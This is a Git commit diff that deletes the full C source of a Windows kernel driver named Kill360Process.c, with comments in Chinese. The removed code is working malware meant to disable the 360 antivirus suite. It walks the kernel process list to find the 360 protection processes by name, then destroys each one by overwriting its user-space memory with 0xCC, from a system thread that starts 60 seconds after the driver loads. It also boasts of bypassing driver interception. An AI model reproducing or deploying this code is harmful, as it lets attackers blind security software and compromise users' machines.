Delete Kill360Process.c
This commit is contained in:
parent
05d19a91fb
commit
13e632fe9d
521
Kill360Process.c
521
Kill360Process.c
|
@ -1,521 +0,0 @@
|
|||
|
||||
#include <ntifs.h>
|
||||
|
||||
/// 内核函数声明
|
||||
NTKERNELAPI
|
||||
VOID
|
||||
KeAttachProcess(
|
||||
IN PRKPROCESS Process
|
||||
);
|
||||
|
||||
NTKERNELAPI
|
||||
VOID
|
||||
KeDetachProcess(
|
||||
VOID
|
||||
);
|
||||
|
||||
NTSYSAPI
|
||||
NTSTATUS
|
||||
NTAPI
|
||||
ZwQueryInformationProcess(
|
||||
__in HANDLE ProcessHandle,
|
||||
__in PROCESSINFOCLASS ProcessInformationClass,
|
||||
__out_bcount(ProcessInformationLength) PVOID ProcessInformation,
|
||||
__in ULONG ProcessInformationLength,
|
||||
__out_opt PULONG ReturnLength
|
||||
);
|
||||
|
||||
|
||||
|
||||
//// 结构体
|
||||
//PED和PTE的结构
|
||||
|
||||
//开启PAE版
|
||||
typedef struct _MMPTE_HARDWARE_PAE {
|
||||
ULONGLONG Valid : 1;
|
||||
ULONGLONG Write : 1; // UP version
|
||||
ULONGLONG Owner : 1;
|
||||
ULONGLONG WriteThrough : 1;
|
||||
ULONGLONG CacheDisable : 1;
|
||||
ULONGLONG Accessed : 1;
|
||||
ULONGLONG Dirty : 1;
|
||||
ULONGLONG LargePage : 1;
|
||||
ULONGLONG Global : 1;
|
||||
ULONGLONG CopyOnWrite : 1; // software field
|
||||
ULONGLONG Prototype : 1; // software field
|
||||
ULONGLONG reserved0 : 1; // software field
|
||||
ULONGLONG PageFrameNumber : 24;
|
||||
ULONGLONG reserved1 : 28; // software field
|
||||
} MMPTE_HARDWARE_PAE, *PMMPTE_HARDWARE_PAE;
|
||||
|
||||
typedef struct _MMPTE_PAE {
|
||||
union {
|
||||
MMPTE_HARDWARE_PAE Hard;
|
||||
} u;
|
||||
} MMPTE_PAE, *PMMPTE_PAE;
|
||||
|
||||
//未开启PAE版
|
||||
typedef struct _MMPTE_HARDWARE {
|
||||
ULONG Valid : 1;
|
||||
ULONG Write : 1; // UP version
|
||||
ULONG Owner : 1;
|
||||
ULONG WriteThrough : 1;
|
||||
ULONG CacheDisable : 1;
|
||||
ULONG Accessed : 1;
|
||||
ULONG Dirty : 1;
|
||||
ULONG LargePage : 1;
|
||||
ULONG Global : 1;
|
||||
ULONG CopyOnWrite : 1; // software field
|
||||
ULONG Prototype : 1; // software field
|
||||
ULONG reserved : 1; // software field
|
||||
ULONG PageFrameNumber : 20;
|
||||
} MMPTE_HARDWARE, *PMMPTE_HARDWARE;
|
||||
|
||||
typedef struct _MMPTE {
|
||||
union {
|
||||
MMPTE_HARDWARE Hard;
|
||||
} u;
|
||||
} MMPTE, *PMMPTE;
|
||||
|
||||
|
||||
|
||||
//// 宏
|
||||
//获得PDE和PTE
|
||||
|
||||
#define PTE_BASE 0xC0000000
|
||||
#define PDE_BASE 0xC0300000
|
||||
#define PDE_BASE_PAE 0xc0600000
|
||||
|
||||
//开启PAE版
|
||||
#define MiGetPdeAddressPae(va) ((PMMPTE_PAE)(PDE_BASE_PAE + ((((ULONG)(va)) >> 21) << 3)))
|
||||
#define MiGetPteAddressPae(va) ((PMMPTE_PAE)(PTE_BASE + ((((ULONG)(va)) >> 12) << 3)))
|
||||
|
||||
//未开启PAE版
|
||||
#define MiGetPdeAddress(va) ((MMPTE*)(((((ULONG)(va)) >> 22) << 2) + PDE_BASE))
|
||||
#define MiGetPteAddress(va) ((MMPTE*)(((((ULONG)(va)) >> 12) << 2) + PTE_BASE))
|
||||
|
||||
//win7 32位下ActiveProcessLinks的偏移
|
||||
#define ActiveProcessLinksOffset 0xB8
|
||||
//进程名大小
|
||||
#define ProcessNameSize 0x260
|
||||
//目标进程名
|
||||
//Tray有时会大小写
|
||||
#define TargetProNameTarap L"360Tray.exe"
|
||||
#define TargetProNametarap L"360tray.exe"
|
||||
#define TargetProNameZDFY L"ZhuDongFangYu.exe"
|
||||
#define TargetProNameHel L"360UHelper.exe"
|
||||
#define TargetProNamesee L"360speedld.exe"
|
||||
|
||||
|
||||
//开启PAE版
|
||||
ULONG MmIsAddressValidExPae(
|
||||
IN PVOID Pointer
|
||||
)
|
||||
{
|
||||
MMPTE_PAE* Pde;
|
||||
MMPTE_PAE* Pte;
|
||||
|
||||
Pde = MiGetPdeAddressPae(Pointer);
|
||||
|
||||
if (Pde->u.Hard.Valid)
|
||||
{
|
||||
//判断PDE大页情况
|
||||
if (Pde->u.Hard.LargePage != 0)
|
||||
{
|
||||
Pte = Pde;
|
||||
}
|
||||
else
|
||||
{
|
||||
Pte = MiGetPteAddressPae(Pointer);
|
||||
}
|
||||
|
||||
if (Pte->u.Hard.Valid)
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
//未开启PAE版
|
||||
ULONG MmIsAddressValidExNotPae(
|
||||
IN PVOID Pointer
|
||||
)
|
||||
{
|
||||
MMPTE* Pde;
|
||||
MMPTE* Pte;
|
||||
|
||||
Pde = MiGetPdeAddress(Pointer);
|
||||
|
||||
if (Pde->u.Hard.Valid)
|
||||
{
|
||||
Pte = MiGetPteAddress(Pointer);
|
||||
|
||||
if (Pte->u.Hard.Valid)
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
//源码忽略PDE大页情况
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
//判断地址是否有效
|
||||
ULONG MiIsAddressValidEx(
|
||||
IN PVOID Pointer
|
||||
)
|
||||
{
|
||||
//地址为空则无效
|
||||
if (!ARGUMENT_PRESENT(Pointer) ||
|
||||
!Pointer){
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
//// 页面检测
|
||||
//检测是否开启PAE
|
||||
ULONG uCR4 = 0;
|
||||
_asm{
|
||||
// mov eax, cr4
|
||||
__asm _emit 0x0F __asm _emit 0x20 __asm _emit 0xE0;
|
||||
mov uCR4, eax;
|
||||
}
|
||||
if (uCR4 & 0x20) {
|
||||
return MmIsAddressValidExPae(Pointer);
|
||||
}
|
||||
else {
|
||||
return MmIsAddressValidExNotPae(Pointer);
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
|
||||
//此函数用于 同时判断内核对象地址是否有效。
|
||||
//对象的地址也是一个页面地址。
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
//ZeroProcessMemory:破环进程空间
|
||||
BOOLEAN ZeroProcessMemory(ULONG EProcess)
|
||||
{
|
||||
ULONG ulVirtualAddr;
|
||||
BOOLEAN b_OK = FALSE;
|
||||
PVOID OverlayBuf = NULL;
|
||||
|
||||
//申请填满0xcc的覆盖空间
|
||||
OverlayBuf = ExAllocatePool(NonPagedPool, 0x1024);
|
||||
if (!OverlayBuf){
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
memset(OverlayBuf, 0xcc, 0x1024);
|
||||
|
||||
//Attach进目标进程
|
||||
KeAttachProcess((PEPROCESS)EProcess);
|
||||
|
||||
//循环填充进程空间
|
||||
for (ulVirtualAddr = 0; ulVirtualAddr <= 0x7fffffff; ulVirtualAddr += 0x1024)
|
||||
{
|
||||
if (MiIsAddressValidEx((PVOID)ulVirtualAddr))
|
||||
{
|
||||
__try
|
||||
{
|
||||
//不可写会抛出异常
|
||||
ProbeForWrite((PVOID)ulVirtualAddr, 0x1024, sizeof(ULONG));
|
||||
RtlCopyMemory((PVOID)ulVirtualAddr, OverlayBuf, 0x1024);
|
||||
b_OK = TRUE;
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER){
|
||||
continue;
|
||||
}
|
||||
}
|
||||
else{
|
||||
if (ulVirtualAddr > 0x1000000) //填这么多足够破坏进程数据了
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
//退出这个进程的空间
|
||||
KeDetachProcess();
|
||||
|
||||
//释放申请的内存
|
||||
ExFreePool(OverlayBuf);
|
||||
|
||||
////验证下是否结束了这个进程
|
||||
//这种方法并不可靠
|
||||
//Status = ObOpenObjectByPointer(
|
||||
// (PEPROCESS)EProcess,
|
||||
// OBJ_KERNEL_HANDLE,
|
||||
// 0,
|
||||
// GENERIC_READ,
|
||||
// NULL,
|
||||
// KernelMode,
|
||||
// &ProcessHandle
|
||||
// );
|
||||
|
||||
////进程还存在,结束失败
|
||||
//if (NT_SUCCESS(Status)){
|
||||
// ZwClose(ProcessHandle);
|
||||
// b_OK = FALSE;
|
||||
//}
|
||||
|
||||
|
||||
return b_OK;
|
||||
}
|
||||
|
||||
|
||||
//路径名解析出文件名
|
||||
void splitname(const PWCHAR szPath,PWCHAR * szfilename)
|
||||
{
|
||||
//从后遍历获得文件名
|
||||
|
||||
ULONG i;
|
||||
|
||||
i = 0;
|
||||
|
||||
i = wcslen(szPath);
|
||||
|
||||
while (szPath[i] != (WCHAR)'\\')
|
||||
i--;
|
||||
|
||||
i++;
|
||||
|
||||
|
||||
*szfilename = (PWCHAR)((ULONG)szPath + (i*2));
|
||||
}
|
||||
|
||||
|
||||
//通过进程链遍历进程
|
||||
PEPROCESS GetEProcessByName(PUNICODE_STRING _ProcessName)
|
||||
{
|
||||
NTSTATUS st = STATUS_UNSUCCESSFUL;
|
||||
HANDLE hPro = NULL;
|
||||
PEPROCESS FounPro = NULL;
|
||||
|
||||
//从系统进程开始遍历
|
||||
PEPROCESS eProces = (PEPROCESS)IoGetCurrentProcess();
|
||||
|
||||
//链表头结点
|
||||
PLIST_ENTRY ListHead = (PLIST_ENTRY)((ULONG)eProces + ActiveProcessLinksOffset);
|
||||
//下一结点
|
||||
PLIST_ENTRY Entry = ListHead->Flink;
|
||||
|
||||
PUNICODE_STRING pPath = (PUNICODE_STRING)ExAllocatePool(NonPagedPool, ProcessNameSize);
|
||||
|
||||
while (Entry != ListHead)
|
||||
{
|
||||
FounPro = (PEPROCESS)((ULONG)Entry - ActiveProcessLinksOffset);
|
||||
|
||||
Entry = Entry->Flink;
|
||||
if (Entry == NULL)
|
||||
{
|
||||
KdPrint(("被断链了 \n"));
|
||||
break;
|
||||
}
|
||||
|
||||
__try
|
||||
{
|
||||
|
||||
RtlZeroMemory(pPath, ProcessNameSize);
|
||||
|
||||
////获取稳定的进程名
|
||||
st = ObOpenObjectByPointer(FounPro, OBJ_KERNEL_HANDLE, NULL, 0, NULL, KernelMode, &hPro);
|
||||
if (!NT_SUCCESS(st))
|
||||
{
|
||||
FounPro = NULL;
|
||||
break;
|
||||
}
|
||||
|
||||
ULONG OutSize = 0;
|
||||
st = ZwQueryInformationProcess(hPro, ProcessImageFileName, pPath, ProcessNameSize, &OutSize);
|
||||
if (!NT_SUCCESS(st))
|
||||
{
|
||||
FounPro = NULL;
|
||||
break;
|
||||
}
|
||||
|
||||
//分离路径得文件名
|
||||
PWCHAR ProName = NULL;
|
||||
splitname(pPath->Buffer, &ProName);
|
||||
|
||||
KdPrint((("进程名:%ws \n"), ProName));
|
||||
|
||||
if (!wcscmp(_ProcessName->Buffer, ProName))
|
||||
{
|
||||
KdPrint(("找到了 \n"));
|
||||
break;
|
||||
}
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
FounPro = NULL;
|
||||
continue;
|
||||
}
|
||||
|
||||
FounPro = NULL;
|
||||
}
|
||||
|
||||
ZwClose(hPro);
|
||||
ExFreePool(pPath);
|
||||
ObDereferenceObject(eProces);
|
||||
|
||||
return FounPro;
|
||||
}
|
||||
|
||||
|
||||
////判断进程是否有效
|
||||
//这是A-Protect的源码,但经测试并不可靠
|
||||
//BOOLEAN IsExitProcess(PEPROCESS Eprocess)
|
||||
//{
|
||||
// ULONG SectionObjectOffset = NULL;
|
||||
// ULONG SegmentOffset = NULL;
|
||||
// ULONG SectionObject;
|
||||
// ULONG Segment;
|
||||
// BOOLEAN b_OK = FALSE;
|
||||
//
|
||||
// __try
|
||||
// {
|
||||
// //这里锁定Win7 7000 所以直接加偏移
|
||||
//
|
||||
// if (MmIsAddressValidExPae(((ULONG)Eprocess + 0x128))){
|
||||
// SectionObject = *(PULONG)((ULONG)Eprocess + 0x128);
|
||||
//
|
||||
// if (MmIsAddressValidExPae(((ULONG)SectionObject + 0x14))){
|
||||
// Segment = *(PULONG)((ULONG)SectionObject + 0x14);
|
||||
//
|
||||
// if (MmIsAddressValidExPae(Segment)){
|
||||
// b_OK = TRUE; //进程是有效的
|
||||
// __leave;
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
//
|
||||
// __except (EXCEPTION_EXECUTE_HANDLER){
|
||||
// //接收异常
|
||||
// }
|
||||
// return b_OK;
|
||||
//
|
||||
// //经测试,这种方式不可靠,因为有些存活进程的内存对象为NULL。
|
||||
//}
|
||||
|
||||
////DPC回调
|
||||
//已废
|
||||
//VOID DpcForTimer(IN struct _KDPC *Dpc, IN PVOID DeferredContext,
|
||||
// IN PVOID SystemArgument1, IN PVOID SystemArgument2)
|
||||
//{
|
||||
// UNREFERENCED_PARAMETER(Dpc);
|
||||
// UNREFERENCED_PARAMETER(DeferredContext);
|
||||
// UNREFERENCED_PARAMETER(SystemArgument1);
|
||||
// UNREFERENCED_PARAMETER(SystemArgument2);
|
||||
//
|
||||
// _asm int 3;
|
||||
// //360Trap
|
||||
// GetProNameToKillProcess(TargetProNameTarap);
|
||||
//
|
||||
// //360trap
|
||||
// GetProNameToKillProcess(TargetProNametarap);
|
||||
//
|
||||
// //ZhuDongFangYu
|
||||
// GetProNameToKillProcess(TargetProNameZDFY);
|
||||
//
|
||||
// //360UHelper.exe
|
||||
// GetProNameToKillProcess(TargetProNameHel);
|
||||
//}
|
||||
|
||||
BOOLEAN GetProNameToKillProcess(PWCHAR ProName)
|
||||
{
|
||||
//根据进程名得到EPROCESS
|
||||
UNICODE_STRING UName = RTL_CONSTANT_STRING(ProName);
|
||||
PEPROCESS eProcess = GetEProcessByName(&UName);
|
||||
if (eProcess != NULL)
|
||||
{
|
||||
if (ZeroProcessMemory((ULONG)eProcess)) // 破环进程空间
|
||||
{
|
||||
KdPrint((("成功干掉 %ws \n"), ProName));
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
//创建线程等待
|
||||
NTSTATUS ThreadProc()
|
||||
{
|
||||
//等待360相关进程创建 60秒
|
||||
//时间换算
|
||||
LARGE_INTEGER interval;
|
||||
interval.QuadPart = (-10 * 1000);
|
||||
interval.QuadPart *= 1000 * 60;
|
||||
KeDelayExecutionThread(KernelMode, FALSE, &interval);
|
||||
|
||||
//_asm int 3;
|
||||
|
||||
//360UHelper.exe
|
||||
GetProNameToKillProcess(TargetProNameHel);
|
||||
|
||||
//360UHelper.exe
|
||||
GetProNameToKillProcess(TargetProNamesee);
|
||||
|
||||
//ZhuDongFangYu
|
||||
GetProNameToKillProcess(TargetProNameZDFY);
|
||||
|
||||
//360Trap
|
||||
GetProNameToKillProcess(TargetProNameTarap);
|
||||
|
||||
//360trap
|
||||
GetProNameToKillProcess(TargetProNametarap);
|
||||
|
||||
// 退出线程
|
||||
PsTerminateSystemThread(STATUS_SUCCESS);
|
||||
}
|
||||
|
||||
NTSTATUS UnLoadDriver(PDRIVER_OBJECT DriverObject)
|
||||
{
|
||||
UNREFERENCED_PARAMETER(DriverObject);
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegisterPath)
|
||||
{
|
||||
UNREFERENCED_PARAMETER(RegisterPath);
|
||||
DriverObject->DriverUnload = UnLoadDriver;
|
||||
|
||||
//打印信息
|
||||
//_asm int 3;
|
||||
KdPrint(("成功绕过驱动拦截"));
|
||||
|
||||
|
||||
////等待360相关进程创建 60秒
|
||||
////时间换算
|
||||
//会黑屏
|
||||
//LARGE_INTEGER interval;
|
||||
//interval.QuadPart = (-10 * 1000);
|
||||
//interval.QuadPart *= 1000 * 60;
|
||||
//KeDelayExecutionThread(KernelMode, FALSE, &interval);
|
||||
|
||||
//////等待360相关进程创建 60秒
|
||||
////设置DPC定时器
|
||||
////在DPC内由于IRQL不能使用ObOpenObjectByPointer等函数。
|
||||
//PKTIMER pktimer = (PKTIMER)ExAllocatePoolWithTag(NonPagedPool, sizeof(KTIMER), 'RM');
|
||||
//PKDPC pKdpc = (PKDPC)ExAllocatePoolWithTag(NonPagedPool, sizeof(KDPC), 'RM');
|
||||
//KeInitializeDpc(pKdpc, (PKDEFERRED_ROUTINE)DpcForTimer, NULL);
|
||||
//KeInitializeTimerEx(pktimer, NotificationTimer);
|
||||
//
|
||||
//LARGE_INTEGER settime = { 0 };
|
||||
//settime.QuadPart = 60 * 1000000 * -10;
|
||||
//KeSetTimer(pktimer, settime, pKdpc);
|
||||
|
||||
//等待360相关进程创建 60秒
|
||||
//创建线程并等待
|
||||
HANDLE hThread = NULL;
|
||||
PsCreateSystemThread(&hThread, THREAD_ALL_ACCESS, NULL, NULL, NULL, ThreadProc, NULL);
|
||||
|
||||
ZwClose(hThread);
|
||||
return STATUS_SUCCESS;
|
||||
}
|
Loading…
Reference in New Issue